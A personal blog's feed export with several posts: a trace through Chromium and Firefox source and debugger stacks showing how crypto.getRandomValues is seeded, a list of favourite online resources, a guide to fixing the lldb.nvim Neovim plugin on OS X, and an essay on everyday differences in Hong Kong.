<p>Chromium has their own fork of WebKit but essentially it’s the same story. It uses a global random number generator in <code>base</code> namespace.</p>
<ul>
<li><a href="https://chromium.googlesource.com/chromium/src/+/master/third_party/WebKit/Source/modules/crypto/Crypto.cpp">https://chromium.googlesource.com/chromium/src/+/master/third_party/WebKit/Source/modules/crypto/Crypto.cpp</a></li>
<li><a href="https://chromium.googlesource.com/chromium/src/+/master/third_party/WebKit/Source/wtf/CryptographicallyRandomNumber.cpp">https://chromium.googlesource.com/chromium/src/+/master/third_party/WebKit/Source/wtf/CryptographicallyRandomNumber.cpp</a></li>
<li><a href="https://cs.chromium.org/chromium/src/base/rand_util_win.cc?sq=package:chromium&dr=C">https://cs.chromium.org/chromium/src/base/rand_util_win.cc?sq=package:chromium&dr=C</a></li>
<li><a href="https://cs.chromium.org/chromium/src/base/rand_util_posix.cc?sq=package:chromium&dr=C">https://cs.chromium.org/chromium/src/base/rand_util_posix.cc?sq=package:chromium&dr=C</a></li>
</ul>
<h2 id="firefox">Firefox</h2>
<p>Uh … here it, uhm… complicated?</p>
<p>The journey starts in the cpp file responsible for that JS function: </p>
<ul>
<li><a href="https://hg.mozilla.org/mozilla-central/file/tip/dom/base/Crypto.cpp">https://hg.mozilla.org/mozilla-central/file/tip/dom/base/Crypto.cpp</a></li>
</ul>
<p>Here it’s invoking the random number generation service, “@mozilla.org/security/random-generator”. Well, uh, hope it can’t be overriden from chrome JavaScript or something. <br>
The service implementation is here and it calls <code>PK11_GenerateRandomOnSlot</code>:</p>
<ul>
<li><a href="https://dxr.mozilla.org/mozilla-central/source/security/manager/ssl/nsRandomGenerator.cpp">https://dxr.mozilla.org/mozilla-central/source/security/manager/ssl/nsRandomGenerator.cpp</a></li>
</ul>
<p>This one calls <code>C_GenerateRandom</code> here (or possibly other PKCS11 implementations, <a href="https://dxr.mozilla.org/mozilla-central/search?q=C_GenerateRandom">https://dxr.mozilla.org/mozilla-central/search?q=C_GenerateRandom</a>)</p>
<ul>
<li><a href="https://dxr.mozilla.org/mozilla-central/source/security/nss/lib/pk11wrap/pk11slot.c">https://dxr.mozilla.org/mozilla-central/source/security/nss/lib/pk11wrap/pk11slot.c</a></li>
</ul>
<p>There is a deterministic random byte generator here. It calls <code>RNG_SystemRNG</code> once on boot to init its internal state.</p>
<ul>
<li><a href="https://dxr.mozilla.org/mozilla-central/source/security/nss/lib/freebl/drbg.c">https://dxr.mozilla.org/mozilla-central/source/security/nss/lib/freebl/drbg.c</a></li>
<li><a href="https://dxr.mozilla.org/mozilla-central/source/security/nss/lib/freebl/unix_rand.c">https://dxr.mozilla.org/mozilla-central/source/security/nss/lib/freebl/unix_rand.c</a></li>
</ul>
<p>The windows implementation calls <code>RtlGenRandom</code> instead of <code>CryptGenRandom</code> which is the official <br>
CSPRNG API on Windows. Although the docs don’t say it is crypto-safe, it is used by <a href="https://msdn.microsoft.com/en-us/library/sxtz2fa8.aspx"><code>rand_s</code> from the CRT</a> and that is documented to be crypto-secure.</p>
<ul>
<li><a href="https://dxr.mozilla.org/mozilla-central/source/security/nss/lib/freebl/win_rand.c">https://dxr.mozilla.org/mozilla-central/source/security/nss/lib/freebl/win_rand.c</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=504270">https://bugzilla.mozilla.org/show_bug.cgi?id=504270</a></li>
</ul>
<h3 id="live-action">Live Action</h3>
<p>Then I attached a debugger and put a breakpoint at the critical points. And ran the crypto JS API in a loop. Here we can see it goes through the path as expected:</p>
<pre class="prettyprint"><code class=" hljs objectivec">> freebl3<span class="hljs-variable">.dll</span>!prng_generateNewBytes(RNGContextStr * rng, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> * returned_bytes, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> no_of_returned_bytes, <span class="hljs-keyword">const</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> * additional_input, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> additional_input_len) Line <span class="hljs-number">338</span> C
freebl3<span class="hljs-variable">.dll</span>!prng_GenerateGlobalRandomBytes(RNGContextStr * rng, <span class="hljs-keyword">void</span> * dest, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> len) Line <span class="hljs-number">642</span> C
freebl3<span class="hljs-variable">.dll</span>!RNG_GenerateGlobalRandomBytes(<span class="hljs-keyword">void</span> * dest, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> len) Line <span class="hljs-number">659</span> C
nss3<span class="hljs-variable">.dll</span>!PK11_GenerateRandomOnSlot(PK11SlotInfoStr * slot, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> * data, <span class="hljs-keyword">int</span> len) Line <span class="hljs-number">2247</span> C
xul<span class="hljs-variable">.dll</span>!nsRandomGenerator::GenerateRandomBytes(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> aLength, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> * * aBuffer) Line <span class="hljs-number">37</span> C++
xul<span class="hljs-variable">.dll</span>!mozilla::dom::Crypto::GetRandomValues(JSContext * aCx, <span class="hljs-keyword">const</span> mozilla::dom::ArrayBufferView_base<&js::UnwrapArrayBufferView,&js::GetArrayBufferViewLengthAndData,&JS_GetArrayBufferViewType> & aArray, JS::MutableHandle<JSObject *> aRetval, mozilla::ErrorResult & aRv) Line <span class="hljs-number">105</span> C++
xul<span class="hljs-variable">.dll</span>!mozilla::dom::CryptoBinding::getRandomValues(JSContext * cx, JS::Handle<JSObject *> obj, mozilla::dom::Crypto * <span class="hljs-keyword">self</span>, <span class="hljs-keyword">const</span> JSJitMethodCallArgs & args) Line <span class="hljs-number">70</span> C++</code></pre>
<p>And seeding the DRBG from the OS once on startup:</p>
<pre class="prettyprint"><code class=" hljs objectivec">> freebl3<span class="hljs-variable">.dll</span>!rng_init() Line <span class="hljs-number">419</span> C
nss3<span class="hljs-variable">.dll</span>!PR_CallOnce(PRCallOnceType * once, PRStatus(*)() func) Line <span class="hljs-number">779</span> C
freebl3<span class="hljs-variable">.dll</span>!RNG_RNGInit() Line <span class="hljs-number">495</span> C
nss3<span class="hljs-variable">.dll</span>!secmod_ModuleInit(SECMODModuleStr * mod, SECMODModuleStr * * reload, <span class="hljs-keyword">int</span> * alreadyLoaded) Line <span class="hljs-number">232</span> C
nss3<span class="hljs-variable">.dll</span>!secmod_LoadPKCS11Module(SECMODModuleStr * mod, SECMODModuleStr * * oldModule) Line <span class="hljs-number">480</span> C
nss3<span class="hljs-variable">.dll</span>!SECMOD_LoadModule(<span class="hljs-keyword">char</span> * modulespec, SECMODModuleStr * parent, <span class="hljs-keyword">int</span> recurse) Line <span class="hljs-number">1537</span> C
nss3<span class="hljs-variable">.dll</span>!SECMOD_LoadModule(<span class="hljs-keyword">char</span> * modulespec, SECMODModuleStr * parent, <span class="hljs-keyword">int</span> recurse) Line <span class="hljs-number">1572</span> C
nss3<span class="hljs-variable">.dll</span>!nss_InitModules(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * configdir, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * certPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * keyPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * secmodName, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updateDir, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updCertPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updKeyPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updateID, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updateName, <span class="hljs-keyword">char</span> * configName, <span class="hljs-keyword">char</span> * configStrings, <span class="hljs-keyword">int</span> pwRequired, <span class="hljs-keyword">int</span> readOnly, <span class="hljs-keyword">int</span> noCertDB, <span class="hljs-keyword">int</span> noModDB, <span class="hljs-keyword">int</span> forceOpen, <span class="hljs-keyword">int</span> optimizeSpace, <span class="hljs-keyword">int</span> isContextInit) Line <span class="hljs-number">436</span> C
nss3<span class="hljs-variable">.dll</span>!nss_Init(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * configdir, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * certPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * keyPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * secmodName, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updateDir, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updCertPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updKeyPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updateID, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * updateName, NSSInitContextStr * * initContextPtr, NSSInitParametersStr * initParams, <span class="hljs-keyword">int</span> readOnly, <span class="hljs-keyword">int</span> noCertDB, <span class="hljs-keyword">int</span> noModDB, <span class="hljs-keyword">int</span> forceOpen, <span class="hljs-keyword">int</span> noRootInit, <span class="hljs-keyword">int</span> optimizeSpace, <span class="hljs-keyword">int</span> noSingleThreadedModules, <span class="hljs-keyword">int</span> allowAlreadyInitializedModules, <span class="hljs-keyword">int</span> dontFinalizeModules) Line <span class="hljs-number">638</span> C
nss3<span class="hljs-variable">.dll</span>!NSS_Initialize(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * configdir, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * certPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * keyPrefix, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * secmodName, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> flags) Line <span class="hljs-number">812</span> C
xul<span class="hljs-variable">.dll</span>!mozilla::psm::InitializeNSS(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * dir, <span class="hljs-keyword">bool</span> readOnly, <span class="hljs-keyword">bool</span> loadPKCS11Modules) Line <span class="hljs-number">976</span> C++
xul<span class="hljs-variable">.dll</span>!nsNSSComponent::InitializeNSS() Line <span class="hljs-number">1742</span> C++
xul<span class="hljs-variable">.dll</span>!nsNSSComponent::Init() Line <span class="hljs-number">1948</span> C++
xul<span class="hljs-variable">.dll</span>!nsNSSComponentConstructor(nsISupports * aOuter, <span class="hljs-keyword">const</span> nsID & aIID, <span class="hljs-keyword">void</span> * * aResult) Line <span class="hljs-number">174</span> C++
xul<span class="hljs-variable">.dll</span>!nsComponentManagerImpl::CreateInstanceByContractID(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * aContractID, nsISupports * aDelegate, <span class="hljs-keyword">const</span> nsID & aIID, <span class="hljs-keyword">void</span> * * aResult) Line <span class="hljs-number">1203</span> C++
xul<span class="hljs-variable">.dll</span>!nsComponentManagerImpl::GetServiceByContractID(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * aContractID, <span class="hljs-keyword">const</span> nsID & aIID, <span class="hljs-keyword">void</span> * * aResult) Line <span class="hljs-number">1561</span> C++
xul<span class="hljs-variable">.dll</span>!nsCOMPtr_base::assign_from_gs_contractid(<span class="hljs-keyword">const</span> nsGetServiceByContractID aGS, <span class="hljs-keyword">const</span> nsID & aIID) Line <span class="hljs-number">103</span> C++
xul<span class="hljs-variable">.dll</span>!nsCOMPtr<nsINSSComponent>::nsCOMPtr<nsINSSComponent>(<span class="hljs-keyword">const</span> nsGetServiceByContractID aGS) Line <span class="hljs-number">541</span> C++
xul<span class="hljs-variable">.dll</span>!EnsureNSSInitialized(EnsureNSSOperator op) Line <span class="hljs-number">196</span> C++</code></pre>
<h1 id="conclusion">Conclusion</h1>
<p>In summary, the browsers behave as expected, providing random numbers seeded by the OS crypto-safe random number generator.</p>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-4587889150885588413.post-68542553420543806812016-06-02T01:16:00.000-07:002016-06-02T01:16:50.784-07:00My list of high-quality online resourcesThe internet is a tremendous library of information but finding the signal among all the noise is hard work. I think everybody gradually builds their own go-to list of trusted sites and sources and I think it would be a great idea to share so that we can all benefit.<br />
<br />
<h2>
Health & Nutrition</h2>
Health information is critical to be correct and unfortunately one of the most likely to be full of bulls**t and charlatans. I'm trying to follow only properly scientifically grounded sources.<br />
<ul>
<li><a href="https://www.nlm.nih.gov/medlineplus" target="_blank">US National Library of Medicine MedlinePlus</a></li>
<li><a href="https://authoritynutrition.com/" target="_blank">Authority Nutrition Blog</a>: ok, this one is just a blog and has advertisements. But it's better than others because it links to studies and if you only take away that sugar is <b>bad for you</b>, and low-fat yoghurt is a scam, it'll be helpful.</li>
<li>Sometimes I ask my kungfu sifu :)</li>
</ul>
Note: never use Google to search for health issues. As you probably know, Google and other big companies are collecting information about all their users and your health issues is information you really don't want anyone to know. Instead, use the Privacy / Incognito mode in your browser and search using <a href="https://duckduckgo.com/" target="_blank">Duck Duck Go</a> or <a href="https://search.disconnect.me/" target="_blank">Disconnect.Me</a>.<br />
<h2>
Privacy & Security</h2>
<ul>
<li><a href="http://decentsecurity.com/" target="_blank">Decent Security</a>: basic tips for Windows users </li>
<li><a href="https://www.google.com/safetycenter/everyone/start/" target="_blank">Google Safety Center</a>: while we know that Google is after all your private data, they are also doing a good job of preventing any malicious 3rd parties from getting it from you</li>
<li><a href="https://whispersystems.org/blog/signal/" target="_blank">Signal App</a>: one of the only easy & secure ways to communicate completely privately. Android, iOS and desktop supported</li>
</ul>
<h2>
Technology & Science</h2>
<ul>
<li><a href="https://developer.mozilla.org/" target="_blank">Mozilla Developer Network</a>: the ultimate web technology reference. Forget about w3schools, it's outdated or even incorrect</li>
<li><a href="http://www.hanselman.com/tools" target="_blank">S. Hanselman's Ultimate Tool list</a>: not only for developers</li>
<li><a href="https://www.imdb.com/title/tt2395695/" target="_blank">Cosmos: A Spacetime Odyssey</a>: a modern documentary TV series which explains a range of scientific topics. Absolutely beautiful visually with a catching commentary from Neil deGrasse Tyson </li>
<li><a href="https://nationalgeographic.com/" target="_blank">National Geographic</a>: with a long tradition of documenting and protecting the environment. Unfortunately it was just bought by Fox News last year :(</li>
<li><a href="http://earth.nullschool.net/" target="_blank">Earth Wind Map</a>: A cool map of the weather. I didn't verify whether their data is correct.</li>
<li><a href="https://www.goodreads.com/" target="_blank">GoodReads</a>: At first I thought just another Social Network for X is not useful but I was wrong. This is a perfect place to steal ideas on what to read from friends with similar interests. And of course, books are still the ultimate fountains of knowledge.</li>
</ul>
<h2>
Language & Writing</h2>
<ul>
<li><a href="http://corpus.byu.edu/coca/" target="_blank">Corpus Of Contemporary American English</a>: need to check if a certain phrase makes sense in real world English? Just enter it here and avoid making a fool of yourself with made-up expressions</li>
<li>no other resources, that's why the writing in this blog sucks so much</li>
</ul>
<h2>
Environment & Charity </h2>
<ul>
<li><a href="http://www.charitynavigator.org/">Charity Navigator</a>: you want to contribute to a change to the world but not sure if a certain charity is real and is using your money properly? Charity Navigator can help to shine some light into its internal operation.</li>
</ul>
<ul>
</ul>
<ul>
</ul>
Unknownnoreply@blogger.com8tag:blogger.com,1999:blog-4587889150885588413.post-54267483969625283822016-03-11T00:51:00.000-08:002016-03-11T02:01:18.946-08:00How to debug neovim python remote plugin<div>
I really really really want to have debugger integration with my Vim setup and while the plugins for old Vim were a little wacky, the new architecture of NeoVim seems promising, so I decided to give <a href="https://github.com/critiqjo/lldb.nvim" target="_blank">lldb.nvim</a> a go.</div>
<br />
It didn't work. This is a (<strike>epic</strike> boring) story of how I debugged and fixed the issues.<br />
<br />
<h2>
Step 1: update</h2>
<div>
Update your neovim to the latest release to avoid fighting issues that have already been solved. At the time of writing, I used:</div>
<div>
<ul>
<li>nvim 0.1.2 from Homebrew</li>
<li>OS X 10.10.5</li>
<li>XCode 7.0</li>
<li>lldb-340.4.70</li>
</ul>
</div>
<h2>
Step 2: Diagnose</h2>
<h3>
PyThreadState_get error</h3>
If you're on OS X, chances are you have more than one Python version installed and that's where the trouble comes from. If you get this error message<br />
<code></code><br />
<pre><code>>>> import lldb
Fatal Python error: PyThreadState_Get: no current thread
</code></pre>
<br />
it's most likely because you're trying to import a module that has been linked with a different version of Python. The lldb module comes with the XCode developer tools and was linked with the default system version of Python which lives in (<b>remember this</b>)<br />
<br />
<code>/System/Library/Frameworks/Python.framework/Versions/2.7/bin/python</code>
<br />
<code><br /></code>
so this is the python version you should use to run the lldb.nvim remote plugin. On my system, BTW, lldb module lives in<br />
<br />
<code>/Applications/Xcode.app/Contents/SharedFrameworks/LLDB.framework/Resources/Python</code><br />
<br />
<h2>
Step 3: Install neovim Python module</h2>
<div>
The neovim module has probably already been installed with neovim but perhaps not in the correct Python version. You can try to <code>import neovim</code> in the system Python. If it fails, you'll need to install it using <code>easy_install</code> or <code>pip</code>:</div>
<code></code><br />
<pre><code>sudo /System/Library/Frameworks/Python.framework/Versions/2.7/bin/python -m easy_install neovim
</code></pre>
<br />
<div>
This will install the neovim package into the system Python distribution (needs sudo) using the easy_install tool.
<br />
<br /></div>
<h2>
Step 4: Configure neovim to use the system Python</h2>
<div>
In your neovim config file, add this line:</div>
<code></code><br />
<pre><code>let g:python_host_prog = '/System/Library/Frameworks/Python.framework/Versions/2.7/bin/python'
</code></pre>
<br />
<div>
This ensures that neovim will start the system Python (which has access to lldb and neovim modules) to host the plugin. After this, you should be all set!<br />
<div>
<h2>
Step 5: Using $PYTHONPATH?</h2>
</div>
<div>
If you do use $PYTHONPATH with your non-system Python, you'll have trouble as well. Before launching the system Python from nvim, you'll need to clean this variable otherwise the packages will interfere with the system Python's packages.<br />
<br />
I do that using a small wrapper script <code>~/syspython2</code> which gets invoked from nvim as the <code>g:python_host_prog</code></div>
</div>
<code></code><br />
<pre><code>#!/bin/sh
# running the OS X system python. Required to import the lldb module.
export PYTHONPATH="/Applications/Xcode.app/Contents/SharedFrameworks/LLDB.framework/Resources/Python"
# enable these for debugging
#echo "--" >> ~/syspython2.log
#echo "$@" >> ~/syspython2.log
/System/Library/Frameworks/Python.framework/Versions/2.7/bin/python "$@"
</code></pre>
<h2>
Step 6: Diagnose</h2>
<div>
Still having trouble?<br />
<br />
<ul>
<li>Don't forget to run <code>:UpdateRemotePlugins</code></li>
<li>Enable logging in the <code>~/syspython2</code> script</li>
<li>Check using <code>pstree | less</code> if neovim is launching the correct Python binary</li>
<li>Double-check you can import neovim and lldb modules from the system Python</li>
<li>Make sure lldb.neovim is installed correctly - the file <code>lldb.nvim/rplugin/python/lldb_nvim.py</code> must exist</li>
<li>NeoVim also tries to load Python 3 plugins, you may need to do the same for Python 3</li>
<li>Try to debug <code>/usr/local/Cellar/neovim/0.1.2/share/nvim/runtime/autoload/remote/host.vim</code> using <a href="http://inlehmansterms.net/2014/10/31/debugging-vim/" target="_blank">debugging vim methods</a></li>
<li>More info about lldb Python module <a href="http://stackoverflow.com/questions/14232208/lldb-python-scripting-in-xcode?rq=1" target="_blank">here on StackOverflow</a></li>
</ul>
</div>Unknownnoreply@blogger.com68tag:blogger.com,1999:blog-4587889150885588413.post-53539872797921839192016-02-23T08:16:00.000-08:002016-02-23T09:16:43.402-08:00Things we don't have in Europe, part II.With over 3 years spent in Hong Kong, I can share some more minor differences compared to Europe or Czech Republic that I've noticed. I've also noticed that while some things are different, other things are utterly same the everywhere: the abundance of lazy or stupid people.<br />
<br />
<i>Note: people seemed to like the <a href="http://blog.rplasil.name/2014/01/we-dont-have-this-in-europe-part-i.html" target="_blank">Part I</a> as well.</i><br />
<br />
<h4>
Anti-pandemic measures and crowd control</h4>
How do you know you're in Asia? Well just look around you and if there are more than 10 people in your 1m x 1m personal space then you're probably in an Asian city. A high population density increases the damage from any infectious disease and Hong Kong has learned as much when SARS hit. So now they're trying to curb the spreading of diseases by disinfecting lift buttons, escalator handles and door handles multiple times a day. Or that's what they claim, anyway. Furthermore, posters in public places are asking people to wash hands properly and refrain from spitting. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEGn7NgohI_tYilYpmncPom-nb_lAkDWBQhi71mDEcjBWvEB3Pve0wYGCA-0LunbDiD2PwD5p24ntzThvDchmxrTEvzTk8vvIkHqjwILNrbbloXEybPSc-Jlw64pYRAmoHfQalqTc2-ED-/s1600/IMG_20151211_202919.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEGn7NgohI_tYilYpmncPom-nb_lAkDWBQhi71mDEcjBWvEB3Pve0wYGCA-0LunbDiD2PwD5p24ntzThvDchmxrTEvzTk8vvIkHqjwILNrbbloXEybPSc-Jlw64pYRAmoHfQalqTc2-ED-/s400/IMG_20151211_202919.jpg" width="400" /></a></div>
<br />
They also have a lot of experience in crowd control. On Halloween and other important party days, the entire bar street is closed and only a limited stream of people can get in. And even then the place is absolutely packed. <br />
<br />
<h4>
Unusual names</h4>
Children in HK are asked to choose an English name for themselves in school. That name is then used more often than the original Chinese name and it really is much easier for foreigners to remember because learning the correct pronunciation of a Chinese name can take a week (in my case). People from the mainland often don't choose an English name so I'm having a harder time with their name.<br />
<br />
Anyway, I've found that HKers are much less conservative in choosing names than we are in the West. It is taboo in EU or US to pick a name outside of a pre-defined set of names. Not here. Using the name of a city or a proper noun is possible. I've even heard stories that some guy picked the name "Chocolate Milk". I'm not sure if these people realize it'll disadvantage them in dealing with Westerners because for us, such names sound silly and it ruins the first impression. But it makes one also realize how many arbitrary rules does our own culture impose. <br />
<br />
I admit that choosing Never Wong as your name is just pure genius.<br />
<br />
<h4>
Octopus card</h4>
I love the Octopus card. Similar <sup>[1]</sup> to the UK Oyster card, it stores value and while primarily used for public transport, you can use it in many other places such as restaurant, convenience stores, vending machines, ferries and even as ID for building entrance. Payment is instant and refilling stored value is possible almost everywhere. If you're coming to HK for more than 3 days, don't even think about using one-off subway tickets, just get the Octopus card. Thanks to this, you can <i>almost</i> get rid of those annoyingly heavy coins.<br />
<br />
<h4>
Dining culture</h4>
The #1 pastime in HK must be ... eating. Hong Kong may not have as muny arty shows and culture compared to Paris or New York but what you can do every evening is trying a new restaurant. With all of the world's cousine available in thousands of restaurants around the city, there's always something new to explore with your tastebuds. The way to socialize with your buddies is not getting a beer but rather going out for a dinner. And after the dinner you may continue to a dessert shop where you'll get some Chinese style, fruit, tofu and jelly based desserts. Who cares that eating sweets when you're already pretty full at 10pm may not be the healthiest thing. The naturally slim Asians are not worried.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjasF3gT62923cluCGCpRm88YM9gJNhgFazS0Zlwn4mxRDiVmgIJ7d2oUMz3HkHx-HfeE7yxIdTTbDi6hwNxT3b6u2OtRku6BEBWxP2a9pVHJWm-sN3Bp0i6IYEruXGW_AKM5S3Y3uZLXvb/s1600/IMG_20160118_212301.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjasF3gT62923cluCGCpRm88YM9gJNhgFazS0Zlwn4mxRDiVmgIJ7d2oUMz3HkHx-HfeE7yxIdTTbDi6hwNxT3b6u2OtRku6BEBWxP2a9pVHJWm-sN3Bp0i6IYEruXGW_AKM5S3Y3uZLXvb/s320/IMG_20160118_212301.jpg" width="320" /></a></div>
<br />
When not eating in a fancy restaurant or when you're at home, you may find that the table has a big sheet of plastic bag instead of the table cloth. It looks extremely ugly but it saves the work of cleaning the mess that is inevitably going to hit the table. And after all, the company of your friends matters more than some fancy table cloths. Your Chinese friends will probably offer you a paper tissue when they reach to get one for themselves. Tip: bring 2 packages if you're going to a spicy restaurant.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHXKKeOELQEF-erVoEzV8HrsS0uEmn-ZC67dPwy2EsXz3OeGOPfIjs2yK5j2QrK7cDGnqhY17e1Mst10UFvRuEnHCKPVHdMBmGbJsB3IzaKOlCiqdsY0xdF1Tj-Be1XshR8R6O_C32bpPN/s1600/IMG-20151018-WA0009.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHXKKeOELQEF-erVoEzV8HrsS0uEmn-ZC67dPwy2EsXz3OeGOPfIjs2yK5j2QrK7cDGnqhY17e1Mst10UFvRuEnHCKPVHdMBmGbJsB3IzaKOlCiqdsY0xdF1Tj-Be1XshR8R6O_C32bpPN/s320/IMG-20151018-WA0009.jpg" width="240" /></a></div>
<br />
Chinese tea is an interesting topic. Don't think that everybody around here is an expert on tea and can explain the difference between various Oolong teas at length. I seem to be actually more knowledgeable in this topic than a typical local person. On the other hand, 7-11 convenience stores all have plastic bottles of cold tea, with or without sugar. Not Nestea but rather actual tea. And Chinese style restaurants serve tea as a basic free service. But even then, HK style milk tea and HK style lemon tea are still the most common drinks to consume with your meal.<br />
<br />
Some local restaurants offer "Western food". That almost always means one kind of tomato-based soup, offered without fail in the same form by all of them. Apparently we Westerners only know one type of soup. Furthermore, if you order potatoes as the side dish, it's almost always going to be 1 small potato which is clearly not enough carbs to get me through the day. I don't understand it, the rice portions are usually pretty big and potatoes are not even expensive.<br />
<h4>
</h4>
<h4>
Language</h4>
The native language of Hong Kong is Cantonese. This is actually the language of the entire southern Chinese region <i>but </i>immediately after you cross the border of Hong Kong to Shenzhen, everything switches to Mandarin. If you keep going North, you'll get back to Cantonese. This anomaly is caused by the numerous immigrants to the industrial megacity of Shenzhen. And this is probably not going to last forever because the Chinese government is actively trying to eradicate Cantonese so that they have a more homogeneous population that is easier to control.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEissGB3EoaSmWV0cNZM1DBf8a-ddpLbix4L24Ej1We-2yjcexpHBGxc0akkSJ8mhdsUHWlLNfT7LTFuSYE0-u29kLJqxrRDHAet-eWC6Jf9mlI680ZZaVYpBp3tX9ksbjVv2EZinpvzWdy8/s1600/map.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="293" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEissGB3EoaSmWV0cNZM1DBf8a-ddpLbix4L24Ej1We-2yjcexpHBGxc0akkSJ8mhdsUHWlLNfT7LTFuSYE0-u29kLJqxrRDHAet-eWC6Jf9mlI680ZZaVYpBp3tX9ksbjVv2EZinpvzWdy8/s400/map.png" width="400" /></a></div>
As for English, it is important to HKers to learn English but many still struggle and well written English is hard to come by. On the other hand, if you compare with some European countries where people don't even bother, you have to give HKers some credit for trying.<br />
<br />
Often you can spot an English sentence written by a Chinese person not only from the errors but also from the style. Overuse of strong adjectives is very common so typically you can "win fabulous prizes" which are actually just a branded pen and chocolate or download "breathtaking games" such as Pacman or Pong. If you buy a cheap electronic product, you can be already pretty sure it was made in China but for the sake of argument let's say you'd use the language on the box to guess the product's origin. Phrases about "enjoying your life", "enjoying every tap on the device" or "experiencing fabulous digital life" will give you a hint.<br />
<br />
<h4>
Freezing air-con 24/7</h4>
This one simply can't go unmentioned. The mystery of air-cons everywhere set to <strike>kill</strike> <i>freeze</i> remains unsolved. Locals, when interrogated, dodge the topic or remain silent. After 3 years here, though, it seems that the culture here dictates that you need to have fresh air flow at all times, otherwise you die. Considering the high humidity in this region I admit this is certainly true to an extent. But locals take it to the extreme and consider even 10 minutes without air-con a threat. Using the fan-only mode is not acceptable either, even in winter: if air is not cooled, it simply cannot be fresh. I wonder when a HKer and a Korean have to sleep in the same room: HKer will die if the fan or air-con is off, the Korean will die when <a href="https://en.wikipedia.org/wiki/Fan_death" target="_blank">the fan is left on</a>!<br />
<br />
<div>
</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXVnwNk1FqRoqy_oMnnFaq6LiNZI9Z0-u10RtCcScLaQeHcNgZ1BsfIRiTgWELq9R7EukkPXGDq0hYkJfpBVhOweOWH_ZUODyBNf-nWHaKGPSQMIIQRzjwIc6_MKCjjIGK7JF79xhIJMQM/s1600/IMG_20151108_173819.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXVnwNk1FqRoqy_oMnnFaq6LiNZI9Z0-u10RtCcScLaQeHcNgZ1BsfIRiTgWELq9R7EukkPXGDq0hYkJfpBVhOweOWH_ZUODyBNf-nWHaKGPSQMIIQRzjwIc6_MKCjjIGK7JF79xhIJMQM/s400/IMG_20151108_173819.jpg" width="400" /></a></div>
<br /></div>
<h3>
What they don't have here</h3>
<div>
<ul>
</ul>
Going to lunch with colleagues and want to split the bill? Bad luck, waiters will usually not do that for you. Have fun giving back change that you don't have. I foresee cryptocurrency payments to be the only way out of this situation<i> ;) wink wink</i><br />
<br /></div>
<div>
</div>
<div>
Their supermarkets are not air-tight like in Czech. That must mean that people usually wouldn't steal from a supermarket here. I cannot imagine such degree of trust in Czech and it makes me sad. </div>
<div>
<br /></div>
<div>
